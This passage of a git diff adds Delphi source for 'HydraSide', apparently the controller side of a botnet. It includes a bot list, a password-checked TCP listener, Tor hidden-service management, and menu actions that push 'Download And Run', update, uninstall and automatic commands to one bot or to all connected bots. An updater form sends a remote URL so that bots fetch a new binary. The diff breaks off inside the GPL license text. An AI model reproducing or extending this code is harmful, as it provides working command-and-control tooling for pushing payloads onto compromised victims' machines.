0 + end + end + object GroupBox5: TGroupBox + Left = 335 + Top = 261 + Width = 457 + Height = 84 + Caption = 'General Settings' + TabOrder = 5 + object CBLoadSettings: TCheckBox + Left = 18 + Top = 24 + Width = 223 + Height = 17 + Caption = 'Load Saved Settings On Client Opened' + TabOrder = 0 + end + object Button4: TButton + Left = 360 + Top = 48 + Width = 91 + Height = 25 + Caption = 'Save My Settings' + TabOrder = 1 + OnClick = Button4Click + end + object Button5: TButton + Left = 256 + Top = 48 + Width = 98 + Height = 25 + Caption = 'Load My Settings' + TabOrder = 2 + OnClick = Button5Click + end + object CBStartSockOnOpen: TCheckBox + Left = 18 + Top = 47 + Width = 207 + Height = 17 + Caption = 'Start Socket On Client Opened' + TabOrder = 3 + end + end + end + object TabSheet1: TTabSheet + Caption = 'Connection Log' + ImageIndex = 3 + DesignSize = ( + 830 + 452) + object EventLog: TListView + Left = 3 + Top = 3 + Width = 824 + Height = 445 + Anchors = [akLeft, akTop, akRight, akBottom] + Columns = < + item + Caption = 'Event' + Width = 200 + end + item + Caption = 'Socket' + Width = 100 + end + item + Caption = 'Local Port' + Width = 100 + end + item + Caption = 'DateAndTime' + Width = 150 + end> + GridLines = True + PopupMenu = PMConlogs + TabOrder = 0 + ViewStyle = vsReport + end + end + object Debug: TTabSheet + Caption = 'Debug' + ImageIndex = 1 + DesignSize = ( + 830 + 452) + object Logs: TMemo + Left = 3 + Top = 3 + Width = 824 + Height = 451 + Anchors = [akLeft, akTop, akRight, akBottom] + PopupMenu = PMDebugger + TabOrder = 0 + end + end + end + object MainMenu1: TMainMenu + Left = 208 + Top = 65528 + object M1: TMenuItem + Caption = 'Menu' + object N2: TMenuItem + Caption = '-' + end + object E1: TMenuItem + Caption = 'Exit' + end + end + object S5: TMenuItem + Caption = 'Socket' + object S1: TMenuItem + Caption = 'Start Listening' + OnClick = S1Click + end + object S2: TMenuItem + Caption = 'Stop Listening' + OnClick = S2Click + end + end + object o1: TMenuItem + Caption = 'Tor' + object S6: TMenuItem + Caption = 'Start Tor' + OnClick = S6Click + end + object S7: TMenuItem + Caption = 'Stop Tor' + OnClick = S7Click + end + object M2: TMenuItem + Caption = 'Mangage' + OnClick = M2Click + end + end + object A1: TMenuItem + Caption = 'About' + OnClick = A1Click + end + end + object TCPServer1: TIdTCPServer + Bindings = <> + DefaultPort = 0 + OnConnect = TCPServer1Connect + OnDisconnect = TCPServer1Disconnect + OnException = TCPServer1Exception + OnExecute = TCPServer1Execute + Left = 192 + Top = 65520 + end + object ClientPopup: TPopupMenu + Left = 168 + Top = 65520 + object D1: TMenuItem + Caption = 'Download And Run ' + OnClick = D1Click + end + object N4: TMenuItem + Caption = '-' + end + object M3: TMenuItem + Caption = 'Mass Commands' + object D3: TMenuItem + Caption = 'Download And Run' + OnClick = D3Click + end + object N5: TMenuItem + Caption = '-' + end + object U3: TMenuItem + Caption = 'Update All Servers' + OnClick = U3Click + end + object U4: TMenuItem + Caption = 'Uninstall All Servers' + OnClick = U4Click + end + end + object A6: TMenuItem + Caption = 'Auto Commands' + object A7: TMenuItem + Caption = 'Auto Download And Run ' + OnClick = A7Click + end + object A9: TMenuItem + Caption = 'Auto Update Server'#39's' + OnClick = A9Click + end + end + object N1: TMenuItem + Caption = '-' + end + object S4: TMenuItem + Caption = 'Server' + object C1: TMenuItem + Caption = 'Close' + OnClick = C1Click + end + object R1: TMenuItem + Caption = 'Restart' + OnClick = R1Click + end + object U2: TMenuItem + Caption = 'Update' + OnClick = U2Click + end + object U1: TMenuItem + Caption = 'Uninstall' + OnClick = U1Click + end + end + end + object Ti1: TTrayIcon + BalloonTitle = 'HydraSide' + PopupMenu = IconPopup + Visible = True + Left = 296 + Top = 65528 + end + object IconPopup: TPopupMenu + Left = 224 + Top = 65528 + object S8: TMenuItem + Caption = 'Show' + end + object A2: TMenuItem + Caption = 'Auto Command' + object A3: TMenuItem + Caption = 'Auto Download And Run (All Bots)' + end + object A4: TMenuItem + Caption = 'Auto Download Plugins (All Bots)' + end + object A5: TMenuItem + Caption = 'Auto Update Server (All Bots)' + end + end + object N3: TMenuItem + Caption = '-' + end + object S9: TMenuItem + Caption = 'Socket' + object S11: TMenuItem + Caption = 'Start Listening' + end + object S10: TMenuItem + Caption = 'Stop Listening' + end + end + object E2: TMenuItem + Caption = 'Exit' + end + end + object PMConlogs: TPopupMenu + Left = 248 + Top = 65528 + object C3: TMenuItem + Caption = 'Clear Logs' + OnClick = C3Click + end + end + object PMDebugger: TPopupMenu + Left = 272 + Top = 65528 + object C4: TMenuItem + Caption = 'Clear All' + OnClick = C4Click + end + end +end diff --git a/Client/UMian.pas b/Client/UMian.pas new file mode 100644 index 0000000..d78342f --- /dev/null +++ b/Client/UMian.pas @@ -0,0 +1,750 @@ +unit UMian; + +interface + +uses + Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics, + Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.Menus, Vcl.StdCtrls, Vcl.ComCtrls, + IdContext, IdBaseComponent, IdComponent, IdCustomTCPServer, IdTCPServer, + Vcl.ExtCtrls,USettings, Vcl.Buttons,shellapi,ufunctions,uclientsettings; + + +type + TDynStringArray = array of string; + +type + TForm1 = class(TForm) + PageControl1: TPageControl; + Bots: TTabSheet; + Botz: TListView; + Debug: TTabSheet; + Logs: TMemo; + Settings: TTabSheet; + TabSheet1: TTabSheet; + MainMenu1: TMainMenu; + TCPServer1: TIdTCPServer; + S1: TMenuItem; + S2: TMenuItem; + ClientPopup: TPopupMenu; + D1: TMenuItem; + N1: TMenuItem; + S4: TMenuItem; + U1: TMenuItem; + R1: TMenuItem; + C1: TMenuItem; + U2: TMenuItem; + Connection: TGroupBox; + Label1: TLabel; + ConPasswrd: TEdit; + Label2: TLabel; + EdtPort: TEdit; + GroupBox1: TGroupBox; + EdtTorPath: TEdit; + Label3: TLabel; + edtTorFiles: TEdit; + Label4: TLabel; + edtTorPort: TEdit; + Label5: TLabel; + EdtTorec: TEdit; + Label6: TLabel; + Button1: TButton; + Button2: TButton; + Button3: TButton; + S5: TMenuItem; + o1: TMenuItem; + M1: TMenuItem; + S6: TMenuItem; + S7: TMenuItem; + M2: TMenuItem; + A1: TMenuItem; + E1: TMenuItem; + N2: TMenuItem; + GroupBox2: TGroupBox; + CBShowNotif: TCheckBox; + CBShowPopup: TCheckBox; + GroupBox3: TGroupBox; + LogConns: TCheckBox; + CBLogIncom: TCheckBox; + CBLogDis: TCheckBox; + GroupBox4: TGroupBox; + CBEnableDebug: TCheckBox; + Ti1: TTrayIcon; + IconPopup: TPopupMenu; + E2: TMenuItem; + N3: TMenuItem; + S8: TMenuItem; + S9: TMenuItem; + S10: TMenuItem; + S11: TMenuItem; + A2: TMenuItem; + A3: TMenuItem; + A4: TMenuItem; + A5: TMenuItem; + N4: TMenuItem; + M3: TMenuItem; + D3: TMenuItem; + U3: TMenuItem; + U4: TMenuItem; + N5: TMenuItem; + A6: TMenuItem; + A7: TMenuItem; + A9: TMenuItem; + EventLog: TListView; + Label7: TLabel; + ConnsLab: TLabel; + PMConlogs: TPopupMenu; + C3: TMenuItem; + PMDebugger: TPopupMenu; + C4: TMenuItem; + CBLogConns: TCheckBox; + CBNotifyOnCon: TCheckBox; + CBNotifyDisCon: TCheckBox; + GroupBox5: TGroupBox; + CBLoadSettings: TCheckBox; + Button4: TButton; + Button5: TButton; + CbOpenTor: TCheckBox; + Label8: TLabel; + SockState: TLabel; + CBStartSockOnOpen: TCheckBox; + Label9: TLabel; + TorState: TLabel; + procedure S2Click(Sender: TObject); + procedure S1Click(Sender: TObject); + procedure FormCreate(Sender: TObject); + procedure TCPServer1Disconnect(AContext: TIdContext); + procedure TCPServer1Exception(AContext: TIdContext; AException: Exception); + Procedure Debugger(str:string); + procedure TCPServer1Execute(AContext: TIdContext); + Procedure TCPServerSendStr(MessageStr:string;Socket:integer); + function Explode(const Separator, S :String; Limit :Integer = 0): TDynStringArray; + procedure D1Click(Sender: TObject); + procedure AddToConLogs(Event,Socket,localport:string); + procedure TCPServer1Connect(AContext: TIdContext); + procedure C3Click(Sender: TObject); + procedure C4Click(Sender: TObject); + procedure LogConnsClick(Sender: TObject); + procedure FormClose(Sender: TObject; var Action: TCloseAction); + procedure A1Click(Sender: TObject); + procedure Button1Click(Sender: TObject); + procedure Button2Click(Sender: TObject); + procedure CBShowNotifClick(Sender: TObject); + procedure CBShowPopupClick(Sender: TObject); + procedure NotifyClientUser(State,Socket,port:string); + procedure C1Click(Sender: TObject); + procedure R1Click(Sender: TObject); + procedure U2Click(Sender: TObject); + procedure U1Click(Sender: TObject); + procedure D3Click(Sender: TObject); + procedure U3Click(Sender: TObject); + procedure U4Click(Sender: TObject); + procedure A9Click(Sender: TObject); + procedure A7Click(Sender: TObject); + procedure TcpServerSendToAll(Str:string); + procedure Button5Click(Sender: TObject); + procedure Button4Click(Sender: TObject); + procedure S6Click(Sender: TObject); + procedure S7Click(Sender: TObject); + procedure Button3Click(Sender: TObject); + procedure M2Click(Sender: TObject); + + + + private + { Private declarations } + public + { Public declarations } + end; + +var + Form1: TForm1; + tid :cardinal; + + +implementation + +{$R *.dfm} + +uses UAbout, UDownloader, UAutoDownloader, UAutoUpdate, UMassDownloaderpas, + Updater, UTorManage; + + + +procedure Tform1.TcpServerSendToAll(Str: string); +var + list: TList; + Context: TIdContext; + i:integer; +begin +I:= 0; +try + List := TCPServer1.Contexts.LockList; + for i := 0 to List.Count - 1 do + begin + Context := TIdContext(List[i]); + try + Context.Connection.IOHandler.WriteLn(Str); + except + end; + //Break; + end; + finally + TCPserver1.Contexts.UnlockList; + end; +end; + +procedure TForm1.NotifyClientUser(State,Socket,port:string); +begin + if CBshownotif.Checked then + begin + if CBnotifyoncon.Checked then + begin + form1.Ti1.BalloonTimeout := 1; + if State = 'Connect' then form1.Ti1.BalloonTitle := 'HydraSide Client Connected '; + if state = 'Connect' then form1.Ti1.BalloonHint := 'User Connected Port : '+ Port + 'Socket ID : ' + Socket; + Form1.Ti1.ShowBalloonHint; + sleep(100); + // notify on connect /.time + end; + if CBNotifyDisCon.Checked then + begin + // notify on disconnect + form1.Ti1.BalloonTimeout := 1; + if State = 'disconnect' then form1.Ti1.BalloonTitle := 'HydraSide Client Disconnected '; + if state = 'Disconnect' then form1.Ti1.BalloonHint := 'User Connected Port : '+ Port + 'Socket ID : ' + Socket; + Form1.Ti1.ShowBalloonHint; + sleep(100); + end; + end + else + if CBshowpopup.Checked then + begin + if CBnotifyoncon.Checked then + begin + // notify on connect + end; + if CBNotifyDisCon.Checked then + begin + // notify on disconnect + end; + end; +end; + +procedure TForm1.R1Click(Sender: TObject); +begin +TCPServerSendStr('Restart',strtoint(botz.Selected.Caption)); +end; + +procedure TForm1.A1Click(Sender: TObject); +begin +form2.Show; +end; + + +procedure TForm1.A7Click(Sender: TObject); +begin +if form1.A9.Checked then + begin + showmessage('You can only set one auto command at this point.'); + exit; + end; +if form1.a7.Checked = true then + begin + showmessage('Command Reset'); + AutoCommand := ''; + AutoCommandSet := false; + form1.a7.Checked := false; + sleep(100); + end + else + begin + form4.show; + end; +//auto mass download and run. +end; + +procedure TForm1.A9Click(Sender: TObject); +begin +if a7.Checked then + begin + showmessage('You can only set one auto command at this point.'); + exit; + end; +if form1.a9.Checked = true then + begin + showmessage('Command Reset'); + AutoCommand := ''; + AutoCommandSet := false; + form1.a7.Checked := false; + sleep(100); + end + else + begin + form5.show; + end; +// auto mass update +end; + +procedure Tform1.AddToConLogs(Event,Socket,localport:string); +begin +if form1.LogConns.Checked then + begin + with form1.eventlog.Items.Add do + begin + Caption := event; + SubItems.Append(socket); + SubItems.Append(localport); + SubItems.Append(TimeToStr(Time)); + end; + form1.EventLog.Update; + end + else + begin + exit; + end; +end; + + +procedure TForm1.Button1Click(Sender: TObject); +begin + if FileExists(GetCurrentDir + EdtTorPath.Text) then + begin + runapp(GetCurrentDir + EdtTorPath.Text); + ShowMessage('Tor Started'); + end + else + begin + Showmessage('The Tor binary was not in the tor folder.'); + end; +end; + +procedure TForm1.Button2Click(Sender: TObject); +begin +KillTask('Tor.exe'); +Showmessage('Tor stopped!') +end; + +procedure TForm1.Button3Click(Sender: TObject); +begin +form8.show; +end; + +procedure TForm1.Button4Click(Sender: TObject); +begin +saveclientsettings; +end; + +procedure TForm1.Button5Click(Sender: TObject); +begin +readclientsettings; +end; + +procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction); +begin +tcpserver1.Active := false; +TcpServer1.Free; +end; + +procedure TForm1.FormCreate(Sender: TObject); +var + TorrecFile : TextFile; +begin +if directoryexists(GetCurrentDir + '\Tor') = false then + begin + CreateDir(Getcurrentdir + '\Tor'); + CreateDir(GetCurrentDir + '\Tor\TorBin'); + CreateDir(GetCurrentDir + '\Tor\TorHostFiles'); + CreateDir(GetCurrentDir + '\Tor\TorHostFiles\HostFiles'); + CreateDir(GetCurrentDir + '\Tor\Torrec'); + if not Fileexists(GetCurrentDir + '\Tor\Torrec\' + 'Torrec') then + begin + AssignFile(TorrecFile, GetCurrentDir + '\Tor\Torrec\' + 'Torrec'); + ReWrite(TorrecFile); + writeln(TorrecFile,''); + CloseFile(TorrecFile); + end; + end + else + begin + // + end; +if fileexists(getcurrentdir + '\' + 'UserSettings.ini') then readclientsettings; +s2.Enabled := false; +AutoCommand := ''; +AutoCommandset := false; +end; + + + +procedure TForm1.LogConnsClick(Sender: TObject); +begin +if form1.CBLogIncom.Enabled = false then + begin + form1.CBLogIncom.Enabled := true; + Form1.CBLogDis.Enabled := true; + + form1.CBLogConns.Enabled := true; + end + else + begin + form1.CBLogIncom.Enabled := false; + Form1.CBLogDis.Enabled := false; + + form1.CBLogConns.Enabled := false; + end; +end; + + + +procedure TForm1.M2Click(Sender: TObject); +begin +Tform8.show; +end; + +procedure TForm1.S1Click(Sender: TObject); +begin +if not IsPortActive('localhost',strtoint(EdtTorPort.Text)) then + begin + Torstate.Caption := 'Not Running'; + showmessage('Warning Tor is Not running. if Tor is Running please change settings.'); + end + else + begin + Torstate.Caption := 'Running'; + end; +sockstate.Caption := 'Active'; +if EdtPort.Text = '' then +begin + showmessage('Warning defult port has been used as Port Was Not Set! port number is : '+ inttostr(dport)); + Edtport.Text := inttostr(DPort); +end; +if tcpserver1.Active = true then exit; +s2.Enabled := true; +s1.Enabled := false; +TcpServer1.DefaultPort := strtoint(Edtport.Text); +TcpServer1.Active := true; +debugger('Socket Started on Port : ' + EdtPort.Text); +CreateThread(nil, 0,@CheckForTorPort, nil, 0, tid); +end; + +procedure TForm1.S2Click(Sender: TObject); +begin +//TCPServerSendtoall('Restart'); +logs.Lines.Add('Closing Socket Restart Sent.'); +sleep(10); +sockstate.Caption := 'Disactive'; +s1.Enabled := true; +s2.Enabled := false; +logs.Lines.Add('Closing Socket.'); +TcpServer1.StopListening; +debugger('Socket Stopped Port Cloesed : ' + EdtPort.Text); +Connslab.Caption := '0'; +botz.Clear; +end; + +procedure TForm1.S6Click(Sender: TObject); +begin + if FileExists(GetCurrentDir + EdtTorPath.Text) then + begin + runapp(GetCurrentDir + EdtTorPath.Text); + ShowMessage('Tor Started'); + end + else + begin + Showmessage('The Tor binary was not in the tor folder.'); + end; +end; + +procedure TForm1.S7Click(Sender: TObject); +begin +KillTask('Tor.exe'); +Showmessage('Tor stopped!') +//stop +end; + +Procedure Tform1.TCPServerSendStr(MessageStr:string;Socket:integer); +var + list: TList; + Context: TIdContext; + i:integer; +begin +try + List := TCPServer1.Contexts.LockList; + for i := 0 to List.Count - 1 do + begin + Context := TIdContext(List[i]); + if Context.Connection.Socket.Binding.PeerPort = socket then + begin + try + Context.Connection.IOHandler.WriteLn(MessageStr); + except + end; + Break; + end; + end; + finally + TCPserver1.Contexts.UnlockList; + end; +end; + + + + + +procedure TForm1.U1Click(Sender: TObject); +begin +TCPServerSendStr('Uninstall',strtoint(botz.Selected.Caption)); +end; + +procedure TForm1.U2Click(Sender: TObject); +begin +form7.show; +end; + +procedure TForm1.U3Click(Sender: TObject); +begin +form5.Show; +//mas update servers +end; + +procedure TForm1.U4Click(Sender: TObject); +begin +TcpServerSendToAll('Uninstall'); +end; + +procedure TForm1.TCPServer1Connect(AContext: TIdContext); +var +s,p:integer; +begin +s:= Acontext.Connection.Socket.Binding.PeerPort; +P:= Acontext.Connection.Socket.Binding.Port; +if form1.CBLogIncom.Checked then + begin + AddToConLogs('Attempted Connection : ',inttostr(s),inttostr(p)); + end; +end; + +procedure TForm1.TCPServer1Disconnect(AContext: TIdContext); +var +I,s,p,c:integer; +str,port:string; +begin +i:=0; +if botz.items.count = 0 then exit; +if botz.Items.Count <> 0 then + begin + s:= Acontext.Connection.Socket.Binding.PeerPort; + P:= Acontext.Connection.Socket.Binding.Port; + str:= Botz.Items.item[i].Caption; + port:= inttostr(s); + c:= botz.items.count; + if CBLogDis.Checked then + begin + AddToConLogs('Disconnected',inttostr(s),inttostr(p)); + end; + NotifyClientUser('Disconnect',inttostr(s),inttostr(p)); + for I := 0 to Botz.Items.Count -1 do + begin + try + if botz.Items.Count > i then + begin + str:= Botz.Items.item[i].Caption; + if str = port then botz.Items.Delete(i); + end; + finally + connslab.Caption := inttostr(botz.Items.Count); + botz.Update; + end; + end; + end; +end; + +procedure TForm1.TCPServer1Exception(AContext: TIdContext; + AException: Exception); +begin +logs.Lines.Add('IdTCPServer1Exception : ' + AException.Message + ' ('+ TimeToStr(Time)+ ' )'); +logs.update; +end; + + +procedure TForm1.TCPServer1Execute(AContext: TIdContext); +var +Str:string; + strArr: TDynStringArray; + s,p :integer; +begin + +if AContext.Connection.Connected and + AContext.Connection.IOHandler.Readable then + begin + Str := AContext.Connection.IOHandler.ReadLn; + s:= Acontext.Connection.Socket.Binding.PeerPort; + P:= Acontext.Connection.Socket.Binding.Port; + if str <> '' then + begin + StrArr := Explode('|', STR); + + if StrArr[0] = 'ADDNEW' then + begin + if StrArr[1] = conpasswrd.Text then //check password. + begin + if CBlogconns.Checked then AddToConLogs('Connected',inttostr(s),inttostr(p)); + NotifyClientUser('Connect',inttostr(s),inttostr(p)); + with botz.Items.Add do + begin + Caption := inttostr(Acontext.Connection.Socket.Binding.peerport); + SubItems.Append(StrArr[2]); + SubItems.Append(StrArr[3]); + SubItems.Append(StrArr[4]); + SubItems.Append(StrArr[5]); + SubItems.Append(StrArr[6]); + SubItems.Append(StrArr[7]); + SubItems.Append(StrArr[8]); + SubItems.Append(StrArr[9]); + connslab.Caption := inttostr(botz.Items.Count); + end; + if AutoCommandSet = true then + begin + if AutoCommand <> '' then + begin + TCPServerSendStr(AutoCommand,Acontext.Connection.Socket.Binding.peerport); + logs.Lines.Add('AutoCommand Send : ' + AutoCommand + ' Time : ' + timetostr(time)) + end + else + begin + Logs.Lines.Add('AutoCommand Failure : ' + AutoCommand + ' Time : ' +timetostr(time)); + AutoCommand := ''; + AutoCommandSet := false; + Logs.Lines.Add('AutoComand System Reset Please Reset Command.'); + end; + end; + end + else + if StrArr[0] = '' then + begin + + end + else + begin + AContext.Connection.Disconnect; + end; + end; + // + end; + end; +end; + +procedure TForm1.C1Click(Sender: TObject); +begin +TCPServerSendStr('CloseSock',strtoint(botz.Selected.Caption)); +end; + +procedure TForm1.C3Click(Sender: TObject); +begin +form1.EventLog.Clear; +form1.EventLog.Update; +end; + +procedure TForm1.C4Click(Sender: TObject); +begin +form1.Logs.Lines.Clear; +form1.Logs.Update; +end; + +procedure TForm1.CBShowNotifClick(Sender: TObject); +begin +if form1.CBShowNotif.Checked then + begin + CBnotifyoncon.Enabled := true; + CBNotifyDisCon.Enabled := true; + end + else + begin + CBnotifyoncon.Enabled := false; + CBNotifyDisCon.Enabled := false; + end; +if form1.CBShowpopup.checked then + begin + CBnotifyoncon.Enabled := true; + CBNotifyDisCon.Enabled := true; + end +end; + +procedure TForm1.CBShowPopupClick(Sender: TObject); +begin +if form1.CBShowpopup.checked then + begin + CBnotifyoncon.Enabled := true; + CBNotifyDisCon.Enabled := true; + end + else + begin + CBnotifyoncon.Enabled := false; + CBNotifyDisCon.Enabled := false; + end; +if form1.CBShowNotif.Checked then + begin + CBnotifyoncon.Enabled := true; + CBNotifyDisCon.Enabled := true; + end +end; + +procedure TForm1.D1Click(Sender: TObject); +begin +form3.show; +end; + + + +procedure TForm1.D3Click(Sender: TObject); +begin +form6.Show; +end; + +procedure Tform1.Debugger(str: string); +begin + if CBEnableDebug.Checked then + begin + logs.Lines.Add(str); + logs.Update; + end + else + begin + exit; + end; +end; + + +function Tform1.Explode(const Separator, S :String; Limit :Integer = 0): TDynStringArray; + var + SepLen: Integer; + F, P: PChar; +begin + SetLength(Result, 0); + if (S = '') or (Limit < 0) then + Exit; + if Separator = '' then + begin + SetLength(Result, 1); + Result[0] := S; + Exit; + end; + SepLen := Length(Separator); + + P := PChar(S); + while P^ <> #0 do + begin + F := P; + P := AnsiStrPos(P, PChar(Separator)); + if (P = nil) or ((Limit > 0) and (Length(Result) = Limit - 1)) then + P := StrEnd(F); + SetLength(Result, Length(Result) + 1); + SetString(Result[High(Result)], F, P - F); + F := P; + if P = Separator then + SetLength(Result, Length(Result) + 1); + while (P^ <> #0) and (P - F < SepLen) do + Inc(P); + end; +end; +end. diff --git a/Client/USettings.pas b/Client/USettings.pas new file mode 100644 index 0000000..eb4a441 --- /dev/null +++ b/Client/USettings.pas @@ -0,0 +1,16 @@ +unit USettings; + +interface + +Var +//defult port +DPort :integer = 1515; +//defult port + +AutoCommand:String = ''; +AutoCommandSet:boolean; + + +implementation + +end. diff --git a/Client/UTorManage.dfm b/Client/UTorManage.dfm new file mode 100644 index 0000000..01e2f5e --- /dev/null +++ b/Client/UTorManage.dfm @@ -0,0 +1,117 @@ +object Form8: TForm8 + Left = 0 + Top = 0 + Caption = 'Tor Manager' + ClientHeight = 260 + ClientWidth = 661 + Color = clBtnFace + Font.Charset = DEFAULT_CHARSET + Font.Color = clWindowText + Font.Height = -11 + Font.Name = 'Tahoma' + Font.Style = [] + OldCreateOrder = False + PixelsPerInch = 96 + TextHeight = 13 + object PageControl1: TPageControl + Left = 8 + Top = 8 + Width = 645 + Height = 249 + ActivePage = TabSheet3 + TabOrder = 0 + object TabSheet1: TTabSheet + Caption = 'Tor Services' + ExplicitHeight = 249 + object LvTorHost: TListView + Left = 3 + Top = 3 + Width = 631 + Height = 214 + Columns = < + item + Caption = 'HostName' + Width = 150 + end + item + Caption = 'Local Port' + Width = 120 + end + item + Caption = 'Remote Port' + Width = 120 + end + item + Caption = 'Folder' + Width = 230 + end> + GridLines = True + TabOrder = 0 + ViewStyle = vsReport + end + end + object TabSheet2: TTabSheet + Caption = 'Add New Service' + ImageIndex = 1 + ExplicitHeight = 353 + object Label1: TLabel + Left = 3 + Top = 27 + Width = 103 + Height = 13 + Caption = 'Hidden Service Path :' + end + object Label2: TLabel + Left = 3 + Top = 54 + Width = 110 + Height = 13 + Caption = 'Service Port (Remote):' + end + object Label3: TLabel + Left = 0 + Top = 81 + Width = 119 + Height = 13 + Caption = 'Client Local Port (Local) :' + end + object EdtServicePath: TEdit + Left = 128 + Top = 24 + Width = 289 + Height = 21 + TabOrder = 0 + Text = '%CurrentPath%\Tor\TorHost\%random%' + end + object EdtTorPort: TEdit + Left = 128 + Top = 51 + Width = 289 + Height = 21 + TabOrder = 1 + Text = '1515' + end + object Edit1: TEdit + Left = 128 + Top = 78 + Width = 289 + Height = 21 + TabOrder = 2 + Text = '1515' + end + object Button1: TButton + Left = 342 + Top = 105 + Width = 75 + Height = 25 + Caption = 'Add Host' + TabOrder = 3 + end + end + object TabSheet3: TTabSheet + Caption = 'Remove Service' + ImageIndex = 2 + ExplicitHeight = 353 + end + end +end diff --git a/Client/UTorManage.pas b/Client/UTorManage.pas new file mode 100644 index 0000000..c2f73e5 --- /dev/null +++ b/Client/UTorManage.pas @@ -0,0 +1,36 @@ +unit UTorManage; + +interface + +uses + Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics, + Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.ComCtrls, Vcl.StdCtrls; + +type + TForm8 = class(TForm) + PageControl1: TPageControl; + TabSheet1: TTabSheet; + TabSheet2: TTabSheet; + TabSheet3: TTabSheet; + LvTorHost: TListView; + EdtServicePath: TEdit; + Label1: TLabel; + Label2: TLabel; + EdtTorPort: TEdit; + Edit1: TEdit; + Label3: TLabel; + Button1: TButton; + private + { Private declarations } + public + { Public declarations } + end; + +var + Form8: TForm8; + +implementation + +{$R *.dfm} + +end. diff --git a/Client/Updater.dfm b/Client/Updater.dfm new file mode 100644 index 0000000..82c0c7d --- /dev/null +++ b/Client/Updater.dfm @@ -0,0 +1,40 @@ +object Form7: TForm7 + Left = 0 + Top = 0 + Caption = 'Updater' + ClientHeight = 59 + ClientWidth = 508 + Color = clBtnFace + Font.Charset = DEFAULT_CHARSET + Font.Color = clWindowText + Font.Height = -11 + Font.Name = 'Tahoma' + Font.Style = [] + OldCreateOrder = False + PixelsPerInch = 96 + TextHeight = 13 + object Label1: TLabel + Left = 16 + Top = 27 + Width = 23 + Height = 13 + Caption = 'Url : ' + end + object Button1: TButton + Left = 423 + Top = 22 + Width = 75 + Height = 25 + Caption = 'Update' + TabOrder = 0 + OnClick = Button1Click + end + object EdtUrl: TEdit + Left = 45 + Top = 24 + Width = 372 + Height = 21 + TabOrder = 1 + Text = 'www.example.com\update.exe' + end +end diff --git a/Client/Updater.pas b/Client/Updater.pas new file mode 100644 index 0000000..42d1c2f --- /dev/null +++ b/Client/Updater.pas @@ -0,0 +1,44 @@ +unit Updater; + +interface + +uses + Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics, + Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls; + +type + TForm7 = class(TForm) + Label1: TLabel; + Button1: TButton; + EdtUrl: TEdit; + procedure Button1Click(Sender: TObject); + private + { Private declarations } + public + { Public declarations } + end; + +var + Form7: TForm7; + +implementation + +{$R *.dfm} + +uses UMian; + +procedure TForm7.Button1Click(Sender: TObject); +begin +if EdtUrl.Text <> '' then + begin + form1.TCPServerSendStr('Supdate|' + EdtUrl.Text,strtoint(form1.Botz.Selected.Caption)); + sleep(100); + form7.Close; + end + else + begin + showmessage('Error.'); + end; +end; + +end. diff --git a/HydraSide.groupproj b/HydraSide.groupproj new file mode 100644 index 0000000..6662bb4 --- /dev/null +++ b/HydraSide.groupproj @@ -0,0 +1,48 @@ + + + {D67947A0-95D4-4669-96E7-86810D8F6B1B} + + + + + + + + + + + Default.Personality.12 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..d6a9326 --- /dev/null +++ b/LICENSE @@ -0,0 +1,340 @@ +GNU GENERAL PUBLIC LICENSE + Version 2, June 1991 + + Copyright (C) 1989, 1991 Free Software Foundation, Inc., + 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The licenses for most software are designed to take away your +freedom to share and change it. By contrast, the GNU General Public +License is intended to guarantee your freedom to share and change free +software--to make sure the software is free for all its users. This +General Public License applies to most of the Free Software +Foundation's software and to any other program whose authors commit to +using it. (Some other Free Software Foundation software is covered by +the GNU Lesser General Public License instead.) You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +this service if you wish), that you receive source code or can get it +if you want it, that you can change the software or use pieces of it +in new free programs; and that you know you can do these things. + + To protect your rights, we need to make restrictions that forbid +anyone to deny you these rights or to ask you to surrender the rights. +These restrictions translate to certain responsibilities for you if you +distribute copies of the software, or if you modify it. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must give the recipients all the rights that +you have. You must make sure that they, too, receive or can get the +source code. And you must show them these terms so they know their +rights. + + We protect your rights with two steps: (1) copyright the software, and +(2) offer you this license which gives you legal permission to copy, +distribute and/or modify the software. + + Also, for each author's protection and ours, we want to make certain +that everyone understands that there is no warranty for this free +software. If the software is modified by someone else and passed on, we +want its recipients to know that what they have is not the original, so +that any problems introduced by others will not reflect on the original +authors' reputations. + + Finally, any free program is threatened constantly by software +patents. We wish to avoid the danger that redistributors of a free +program will individually obtain patent licenses, in effect making the +program proprietary. To prevent this, we have made it clear that any +patent must be licensed for everyone's free use or not licensed at all. + + The precise terms and conditions for copying, distribution and +modification follow. + + GNU GENERAL PUBLIC LICENSE + TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION + + 0. This License applies to any program or other work which contains +a notice placed by the copyright holder saying it may be distributed +under the terms of this General Public License. The "Program", below, +refers to any such program or work, and a "work based on the Program" +means either the Program or any derivative work under copyright law: +that is to say, a work containing the Program or a portion of it, +either verbatim or with modifications and/or translated into another +language. (Hereinafter, translation is included without limitation in +the term "modification".) Each licensee is addressed as "you". + +Activities other than copying, distribution and modification are not +covered by this License; they are outside its scope. The act of +running the Program is not restricted, and the output from the Program +is covered only if its contents constitute a work based on the +Program (independent of having been made by running the Program). +Whether that is true depends on what the Program does. + + 1. You may copy and distribute verbatim copies of the Program's +source code as you receive it, in any medium, provided that you +conspicuously and appropriately publish on each copy an appropriate +copyright notice and disclaimer of warranty; keep intact all the +notices that refer to this License and to the absence of any warranty; +and give any other recipients of the Program a copy of this License +along with the Program. + +You may charge a fee for the physical act of transferring a copy, and +you may at your option offer warranty protection in exchange for a fee. + + 2. You may modify your copy or copies of the Program or any portion +of it, thus forming a work based on the Program, and copy and +distribute such modifications or work under the terms of Section 1 +above, provided that you also meet all of these 